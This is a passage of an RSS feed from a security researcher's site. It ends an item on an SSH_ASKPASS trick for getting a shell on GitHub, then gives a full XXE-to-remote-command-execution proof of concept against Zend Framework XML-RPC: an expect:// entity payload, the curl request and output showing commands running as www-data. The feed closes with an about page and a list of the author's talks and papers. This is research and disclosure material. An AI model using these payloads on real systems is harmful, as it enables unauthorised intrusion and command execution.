&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;3.) ssh fails reading &amp;#39;cause it&amp;#39;s actually running as the git user
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;4.) ssh connects to $backend and wants to ask the user if
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $backend_hostkey is OK.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;5.) ssh has no terminal and DISPLAY is set
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;6.) ssh invokes the command specified in SSH_ASKPASS
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;From being dropped in /usr/bin/ex we could just say:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;!/bin/sh
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;and be happy with having a shell as git@github.com
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</description></item><item><title>XXE to RCE</title><link>https://0day.click/recipe/2012-09-04-xxe-to-rce/</link><pubDate>Tue, 04 Sep 2012 19:34:31 +0200</pubDate><guid>https://0day.click/recipe/2012-09-04-xxe-to-rce/</guid><description>&lt;p&gt;&lt;a href="https://gist.github.com/joernchen/3623896"&gt;Original gist&lt;/a&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;This turns https://www.sec-consult.com/files/20120626-0_zend_framework_xxe_injection.txt
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;into a Remote Command Execution:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;NOTE: It relies on the PHP expect module being loaded
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;(see http://de.php.net/manual/en/book.expect.php)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;joern@vbox-1:/tmp$ cat /var/www/server.php
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;?
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; require_once(&amp;#34;/usr/share/php/libzend-framework-php/Zend/Loader/Autoloader.php&amp;#34;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Zend_Loader_Autoloader::getInstance();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; $server = new Zend_XmlRpc_Server();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; echo $server-&amp;gt;handle();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;?&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;joern@vbox-1:/tmp$ cat payload
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;!DOCTYPE root [&amp;lt;!ENTITY foo SYSTEM &amp;#34;expect://id&amp;#34;&amp;gt;]&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;methodCall&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;methodName&amp;gt;&amp;amp;foo;&amp;lt;/methodName&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;/methodCall&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;joern@vbox-1:/tmp$ curl http://localhost/server.php -d @payload
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;?xml version=&amp;#34;1.0&amp;#34; encoding=&amp;#34;UTF-8&amp;#34;?&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;methodResponse&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;fault&amp;gt;&amp;lt;value&amp;gt;&amp;lt;struct&amp;gt;&amp;lt;member&amp;gt;&amp;lt;name&amp;gt;faultCode&amp;lt;/name&amp;gt;&amp;lt;value&amp;gt;&amp;lt;int&amp;gt;620&amp;lt;/int&amp;gt;&amp;lt;/value&amp;gt;&amp;lt;/member&amp;gt;&amp;lt;member&amp;gt;&amp;lt;name&amp;gt;faultString&amp;lt;/name&amp;gt;&amp;lt;value&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;string&amp;gt;Method &amp;amp;quot;uid=33(www-data) gid=33(www-data) groups=33(www-data)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;amp;quot; does not exist&amp;lt;/string&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;/value&amp;gt;&amp;lt;/member&amp;gt;&amp;lt;/struct&amp;gt;&amp;lt;/value&amp;gt;&amp;lt;/fault&amp;gt;&amp;lt;/methodResponse&amp;gt;joern@vbox-1:/tmp$
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</description></item><item><title>About</title><link>https://0day.click/page/about/</link><pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate><guid>https://0day.click/page/about/</guid><description>&lt;p&gt;This site contains misc stuff I came across in the last decade or so.&lt;/p&gt;</description></item><item><title>References</title><link>https://0day.click/page/references/</link><pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate><guid>https://0day.click/page/references/</guid><description>&lt;h1 id="talks-and-presentations"&gt;Talks and Presentations&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;BSides Frankfurt 2026 - Keynote: Hacking AI Agents 📈 at scale and in style 💅 - &lt;a href="https://0day.click/bsides-ffm-26/"&gt;Slides&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Nullcon Berlin 2025 - Keynote LLMs Everywhere: The future is now and the past keeps repeating itself - &lt;a href="https://0day.click/the-future-is-now/"&gt;Slides&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;OffensiveCon 2025 - Parser Differentials - &lt;a href="https://www.youtube.com/watch?v=Dq_KVLXzxH8"&gt;Video&lt;/a&gt; &amp;amp; &lt;a href="https://0day.click/parser-diff-talk-oc25/"&gt;Slides&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Invited Talk for &lt;a href="https://bi0s.in"&gt;Team Bi0s&lt;/a&gt; - Argument Injection - &lt;a href="https://www.youtube.com/watch?v=FHiJnw9TTX8"&gt;Video&lt;/a&gt; &amp;amp; &lt;a href="https://docs.google.com/presentation/d/1U8r5CJs9dLOLO2-hj_bHidRMXugUl3ejv8Hdw6bDMv4/"&gt;Slides&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;HITB GSEC 2018 - Surprise Rant 2.0 &lt;a href="https://www.youtube.com/watch?v=W2SLg--am1A"&gt;Video&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;OffensiveCon 2018 - Surprise Rant &lt;a href="https://www.youtube.com/watch?v=VTic5d13u2E"&gt;Video&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Ekoparty 2016 - Let Me GitHub That For You (2016 Argentinian Edition) &lt;a href="https://www.youtube.com/watch?v=g4NiV8tbGT8"&gt;Video&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Hacktivity 2015 - Your Web app, those hackers &amp;amp; you &lt;a href="https://www.youtube.com/watch?v=p-Njhwp5PZA"&gt;Video&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;HackPra 2015 - Bug Tales &lt;a href="https://www.youtube.com/watch?v=XWrci09sGMU"&gt;Video&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Hackito Ergo Sum 2014 - Ruby on Rails exploitation and effective backdooring&lt;/li&gt;
&lt;li&gt;t2-2013 - &amp;lt;3 Ruby on Rails &amp;lt;3&lt;/li&gt;
&lt;li&gt;HITB Amsterdam 2013 - Attacking Ruby on Rails Applications&lt;/li&gt;
&lt;li&gt;ZeroNights 2012 - They told me I could be anything, so I became BAh7BkkiDHVzZXJfaWQGOgZFVGkG&lt;/li&gt;
&lt;li&gt;HITB Malaysia 2011 - Building and Breaking Ruby on Rails&lt;/li&gt;
&lt;li&gt;Hackito Ergo Sum 2011 - Ruby On Rails From A Code Auditor&amp;rsquo;s Perspective &lt;a href="https://www.youtube.com/watch?v=o4goIQAzIME"&gt;Video part 1&lt;/a&gt; &lt;a href="https://www.youtube.com/watch?v=kEE9uaBOPyk"&gt;part 2&lt;/a&gt; &lt;a href="https://www.youtube.com/watch?v=3oI3gZwVQYk"&gt;part 3&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Berlinsides 2010 - Ruby On Rails From A Code Auditor&amp;rsquo;s Perspective&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="blogposts"&gt;Blogposts&lt;/h1&gt;
&lt;h2 id="gitlab"&gt;GitLab&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://about.gitlab.com/blog/git-security-audit/"&gt;Git security audit: Inside the hunt for - and discovery of - CVEs&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://about.gitlab.com/blog/terraform-as-part-of-software-supply-chain-part1-modules-and-providers/"&gt;Terraform as part of the software supply chain&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://about.gitlab.com/blog/two-bugs-and-a-quick-fix-in-gitpod/"&gt;A brief look at Gitpod, two bugs, and a quick fix&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://about.gitlab.com/blog/switching-sides-in-security/"&gt;Switching &amp;ldquo;sides&amp;rdquo; in security&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://about.gitlab.com/blog/how-to-play-gitlab-ctf-at-home/"&gt;How to play GitLab&amp;rsquo;s Capture the Flag at home&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://about.gitlab.com/blog/how-to-exploit-parser-differentials/"&gt;How to exploit parser differentials&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://about.gitlab.com/blog/shopping-for-an-admin-account/"&gt;Shopping for an admin account via path traversal&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="gitlab-security-tech-notes"&gt;GitLab Security Tech Notes&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://gitlab-com.gitlab.io/gl-security/security-tech-notes/security-research-tech-notes/devfile/"&gt;Devfile file write vulnerability in GitLab&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://gitlab-com.gitlab.io/gl-security/security-tech-notes/security-research-tech-notes/arr-pm/"&gt;arr-pm command execution&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="recurity-labs"&gt;Recurity Labs&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://blog.recurity-labs.com/2019-04-12/knx.html"&gt;KNX, %s and a backdoor&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://blog.recurity-labs.com/2017-08-10/scm-vulns.html"&gt;Compromise On Checkout - Vulnerabilities in SCM Tools&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://blog.recurity-labs.com/2011-05-12/18_06_51.html"&gt;dRuby for Penetration Testers&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://blog.recurity-labs.com/2011-03-09/18_34_04.html"&gt;At Least, I got DoS&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="phenoelit"&gt;Phenoelit&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://194.150.168.69//blog/archives/2014/10/11/tldr_just_another_way_to_get_rce_in_i2p_version_0_9_13/index.html"&gt;TL;DR: Just another way to get RCE in i2p version 0.9.13.&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://194.150.168.69/blog/archives/2013/09/24/ruby_on_rails_default_token_database/index.html"&gt;Ruby on Rails Default Token Database&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://194.150.168.69/blog/archives/2013/02/05/mysql_madness_and_rails/index.html"&gt;MySQL madness and Rails&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://194.150.168.69/blog/archives/2012/12/21/let_me_github_that_for_you/index.html"&gt;Let Me Github That For You&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://194.150.168.69/blog/archives/2012/04/05/a_worst_practice_in_ruby_on_rails/index.html"&gt;A worst practice in Ruby on Rails&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="papers"&gt;Papers&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;Attacking Ruby on Rails Applications - &lt;a href="http://phrack.org/issues/69/12.html#article"&gt;Phrack 69&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;A Vulnerability in Reduced Dakarand from PoC||GTFO 01:02 - &lt;a href="https://www.alchemistowl.org/pocorgtfo/pocorgtfo02.pdf"&gt;PoC||GTFO 02&lt;/a&gt;:09&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="trainings"&gt;Trainings&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;Source Code Auditing Like a Ninja - &lt;a href="https://gsec.hitb.org/sg2018/sessions/3-day-training-3-source-code-auditing-like-a-ninja/"&gt;HITB GSEC Singapore 2018&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Source Code Auditing Like a Ninja - &lt;a href="https://archive.conference.hitb.org/hitbsecconf2018ams/sessions/3-day-training-4-source-code-auditing-like-a-ninja/"&gt;HITB Amsterdam 2018&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Ruby on Rails – Auditing &amp;amp; Exploiting the Popular Web Framework - &lt;a href="https://2015.appsec.eu/trainings/#train11"&gt;OWASP AppSec EU 2015&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Ruby on Rails – Auditing &amp;amp; Exploiting the Popular Web Framework - &lt;a href="https://2014.appsecusa.org/2014/training/ruby-on-rails-auditing-exploiting-the-popular-web-framework/"&gt;OWASP AppSec USA 2014&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://code-audit-training.gitlab.io/"&gt;Recurity Labs Code Audit Training Archive&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="other"&gt;Other&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;Founding member of &lt;a href="https://wiki.das-labor.org/w/LABOR_Wiki"&gt;das Labor&lt;/a&gt; a Hackerspace in Bochum&lt;/li&gt;
&lt;li&gt;Review panel member for &lt;a href="https://threatcon.io"&gt;THREAT CON&lt;/a&gt; 2018 - 2023&lt;/li&gt;
&lt;/ul&gt;</description></item></channel></rss>